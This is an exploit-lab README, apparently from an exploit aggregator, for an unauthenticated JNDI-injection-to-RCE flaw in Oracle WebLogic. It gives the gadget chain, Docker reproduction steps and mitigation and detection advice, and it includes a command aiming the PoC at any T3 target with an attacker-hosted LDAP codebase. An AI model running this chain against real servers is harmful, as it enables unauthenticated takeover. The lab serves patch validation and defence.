Exploit for CVE-2024-21182

## https://sploitus.com/exploit?id=01B2AB6E-7C39-548C-A440-9211BEE3A955
# CVE-2024-21182 — Oracle WebLogic Server T3/IIOP JNDI Injection → RCE (lab)

A self-contained, one-command Docker lab to **reproduce and validate** the
Oracle WebLogic Server `OpaqueReference` JNDI-injection vulnerability family
(CVE-2024-21182, a patch bypass of CVE-2023-21839) and turn it into
**unauthenticated remote code execution**.

> ⚠️ **For authorized security research, education, and patch validation only.**
> See [DISCLAIMER](#disclaimer). Run it only against this lab or systems you own.

---

## What this demonstrates

CVE-2024-21182 is an **unauthenticated** vulnerability in the **Core** component
of Oracle WebLogic Server, reachable over the **T3 / IIOP** protocols (default
port `7001`). It allows an attacker to bind a crafted "reference" object into
the server's JNDI tree and trigger a **server-side JNDI lookup against an
attacker-controlled URL** — classic JNDI injection that escalates to RCE.

| | |
|---|---|
| **CVE** | CVE-2024-21182 |
| **Product** | Oracle WebLogic Server (Core) |
| **Affected (per Oracle)** | 12.2.1.4.0, 14.1.1.0.0 |
| **Fixed in** | Oracle **October 2024** Critical Patch Update |
| **Vector** | Network, unauthenticated, T3/IIOP (port 7001) |
| **CISA KEV** | Yes (known exploited in the wild) |
| **Class** | Patch bypass of CVE-2023-21839 (`OpaqueReference` JNDI injection) |

### Root cause

A WebLogic reference object is resolved **server-side** during `lookup()` by an
`ObjectFactory` that performs a nested JNDI lookup against an attacker-supplied
URL:

```
weblogic.jndi.internal.WLContextImpl.lookup
 → javax.naming.spi.NamingManager.getObjectInstance
   → weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
     → weblogic.application.naming.MessageDestinationReference.lookupMessageDestination  (line 62)
       → new InitialContext().lookup( ldap://attacker/… )      ← attacker-controlled, server-side
```

CVE-2023-21839 reached this via `weblogic.jndi.internal.ForeignOpaqueReference`,
which Oracle then guarded. **CVE-2024-21182 bypasses that guard** by reaching the
same foreign lookup through
`weblogic.ejb.container.internal.AggregatableOpaqueReference`, whose private
`referent` field is reflectively set to a
`weblogic.application.naming.MessageDestinationReference`.

---

## ⚠️ Important: lab image vs. CVE-listed versions

This lab uses **`vulhub/weblogic:12.2.1.3-2018`** (WebLogic **12.2.1.3**, bundled
**JDK 1.8.0_151**) because it is the only freely redistributable vulnerable
WebLogic image — the versions CVE-2024-21182 formally lists (12.2.1.4.0 /
14.1.1.0.0) require an Oracle license and cannot be published here.

Consequences, stated honestly:

* The lab **faithfully reproduces the `OpaqueReference` JNDI-injection → RCE
  vulnerability class, exercised with the exact CVE-2024-21182 gadget classes**
  (`AggregatableOpaqueReference` + `MessageDestinationReference`).
* It does **not** prove the *patch-bypass* property itself — 12.2.1.3 predates
  the CVE-2023-21839 blacklist, so there is no patch to bypass on this image. To
  demonstrate the bypass specifically you need a licensed 12.2.1.4 build patched
  up to just-before-Oct-2024 CPU.
* **RCE leg:** works here because JDK 1.8.0_151 predates 8u191 and defaults
  `com.sun.jndi.ldap.object.trustURLCodebase=true` (remote codebase class
  loading). On modern JDKs the *injection* still fires (SSRF), but RCE requires a
  gadget already on the WebLogic classpath instead of a remote codebase.

---

## Quick start

Requirements: Docker + Docker Compose v2. ~3 GB image pull. On Apple Silicon the
image runs under `linux/amd64` emulation (slower cold boot, 2–5 min).

```bash
git clone 
cd CVE-2024-21182-lab
docker compose up -d        # starts: weblogic (:7001) + attacker (LDAP/HTTP)
./validate.sh               # waits for boot, fires the exploit, prints PASS/FAIL
```

Expected tail of `./validate.sh`:

```
[+] RCE CONFIRMED — command executed inside the WebLogic container as:
------------------------------------------------------------
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux  ... x86_64 GNU/Linux
------------------------------------------------------------
[+] CVE-2024-21182 reproduced (unauthenticated T3 JNDI injection -> RCE)
```

Tear down:

```bash
docker compose down
```

---

## How it works (the moving parts)

```
                 t3://weblogic:7001                         ldap://attacker:1389/Evil
  PoC client  ───────────────────────►  WebLogic  ──────────────────────────────►  attacker (LDAP)
 (in weblogic     bind() + lookup()      (victim)      server-side JNDI lookup        returns Reference
  container)                                                                          {javaCodeBase=http://attacker:8888/}
                                              │                                              │
                                              └──────────  GET /Exploit.class  ◄─────────────┘  (HTTP codebase)
                                                           loads + instantiates → static{} runs `id`
```

* **`poc/CVE_2024_21182.java`** — the T3 client. Builds the malicious
  `AggregatableOpaqueReference`, `bind()`s it, then `lookup()`s to trigger
  server-side resolution. Parameterized: ` `. It is
  compiled **inside** the WebLogic container by `validate.sh` because the gadget
  classes live in WebLogic's full module set (not the redistributable thin
  client), so no Oracle jars are shipped here.
* **`exploit/ldap_server.py`** — minimal malicious LDAP server returning a JNDI
  `Reference` plus an HTTP server hosting the factory class. Runs in the
  `attacker` container, reachable from WebLogic by service name `attacker`.
* **`exploit/Exploit.java` / `Exploit.class`** — the payload factory (Java 8
  bytecode). Its static initializer runs `id` / `uname -a` and writes the output
  to `/tmp/RCE_PROOF_CVE_2024_21182` inside the victim. Harmless by design — edit
  it and run `exploit/build.sh` to change the command.

The `ClassCastException (Exploit cannot be cast to ObjectFactory)` you will see
is **expected and cosmetic** — it occurs *after* the static initializer (the
payload) has already executed.

---

## Validate a patched / real target

Point the PoC at any T3 endpoint you are authorized to test:

```bash
# from inside a host with the WebLogic thin client, or adapt validate.sh:
java -cp ".:wlthint3client.jar" CVE_2024_21182 TARGET:7001 ldap://YOUR_LDAP:1389/Evil
```

* **Injection fires (outbound LDAP seen), no RCE** → JDK has
  `trustURLCodebase=false`; you still have SSRF, and RCE may be possible via a
  classpath gadget.
* **Nothing fires** → the OpaqueReference path is patched (Oct-2024 CPU applied).

---

## Mitigation

* **Patch** — apply the Oracle October 2024 Critical Patch Update.
* **Network** — restrict T3/IIOP (7001) with WebLogic connection filters
  (`weblogic.security.net.ConnectionFilterImpl`) and host firewalls.
* **JDK** — keep `com.sun.jndi.ldap.object.trustURLCodebase=false` (default on
  current JDKs); breaks the remote-codebase RCE leg (not the injection leg).
* **Detect** — outbound LDAP/RMI/DNS from the WebLogic JVM to non-allowlisted
  hosts; unexpected child processes of the WebLogic process; T3 `bind` of
  `*OpaqueReference` types.

---

## Credits & references

* Public PoC gadget: [`k4it0k1d/CVE-2024-21182`](https://github.com/k4it0k1d/CVE-2024-21182)
* Vulnerable image: [vulhub](https://github.com/vulhub/vulhub) (`weblogic/CVE-2023-21839`)
* Background: Oracle CPU advisories; CVE-2023-21839 research (WebLogic `OpaqueReference` family)

## DISCLAIMER

This project is published for **authorized security testing, defensive
validation, and education**. The vulnerable software runs in an isolated Docker
lab. Do **not** use these techniques against systems you do not own or are not
explicitly authorized to test. The authors accept no liability for misuse. See
[`LICENSE`](LICENSE).